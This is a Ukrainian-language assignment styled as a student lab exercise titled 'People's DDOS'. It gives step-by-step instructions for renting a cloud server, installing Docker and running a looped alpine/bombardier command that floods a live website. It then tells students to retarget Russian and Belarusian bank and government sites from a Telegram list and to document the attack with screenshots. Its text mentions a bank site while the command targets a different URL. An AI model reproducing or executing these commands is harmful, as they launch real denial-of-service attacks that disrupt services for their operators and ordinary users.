**Лабораторна робота “Народний DDOS”**

Завдання:

**1.** Створити (безкоштовний по можливості) віртуальний сервер на Amazon Web Services або Digital Ocean. Встановити на ньому Ubuntu Linux.

Приблизна інструкція для Амазон:

https://medium.com/nerd-for-tech/how-to-create-a-ubuntu-20-04-server-on-aws-ec2-elastic-cloud-computing-5b423b5bf635

Для Digital Ocean:

1. Заходимо на cloud.digitalocean.com

2. Якщо ви студент, і у вас є github educational pack (https://education.github.com/pack), то логінімось через github в digital ocean и можемо як студент отримати просто так 50 $. https://www.digitalocean.com/community/questions/github-student-pack-2 (тут є деталі як це робити) або 100$ по реферальному посиланню https://www.digitalocean.com/try/developer-brand-r?utm\_campaign=emea\_brand\_kw\_en\_cpc&utm\_adgroup=digitalocean\_exact\_bmm&\_keyword=digitalocean&\_device=c&\_adposition=&utm\_content=conversion&utm\_medium=cpc&utm\_source=google&gclid=CjwKCAiAvOeQBhBkEiwAxutUVP7vmbhFnUYLT09ogzQy3oa3rctgAdSO5jqEMezBitn-McGJJ8OiLBoCw5YQAvD\_BwE

3. Зверху у панелі жмакаємо Create -> Droplets. Обираємо Ubuntu за основу, CPU Options - regular Inter with SSD, той що за солодкі 5$ за місяць. Обираємо локацію, є сенс брати щось в Європі так як буде менше затримка з рашкою. Обираємо на свій смак. Коли реєструємо обираємо захід по root password.

4. Чекаємо як цей дроплет створиться і нам покажуть його публічну айпі адресу. Пишемо в консолі (мак і лінукс, вінда треба поресерчити всякі ssh клієнти) ssh root@публічне айпі вашого сєрвака

5. Маємо після виконання ssh побачити промт, де кажуть ввести пароль. Вводите, що придумали на кроці 3.

Амазон менш вимогливий до банківських карток.

**2.** Зайти на сервер по ssh.

Встановити Docker. Інструкцію можна знайти тут:

https://docs.docker.com/engine/install/ubuntu/

Простіше встановлювати з deb-пакета. Пакет качаємо з сайту Докера відповідно до версії вашої убунти. Можна встановити, наприклад, командою:

sudo dpkg -i --force-all docker-ce\_18.03.1~ce~3-0~ubuntu\_amd64.deb

Якщо

sudo docker run hello-world

не спрацює, може допомогти команда:

sudo apt-get install -y libltdl7

3. Виконати скрипт:

for i in {1..1000}; do sudo docker run -it alpine/bombardier -c 1000 -d 60s -l https://wikimapia.org/#lang=en&lat=50.584800&lon=30.489800&z=12&m=w&tag=516 && sleep 15; done

Після цього забуваємо про машину на пару годин. Потім змінюємо сайт сбера на сайт іншого банку або державного органу росії чи білорусії, який ще не лежить.

Список сайтів для дудосу можна знайти ось тут https://t.me/itarmyofukraine2022 , також підписуйтесь на https://t.me/stoprussiachannel (це офіційні канали мін цифри)

4. Звіт з лабораторної роботи проілюструвати скріншотами виконаної атаки.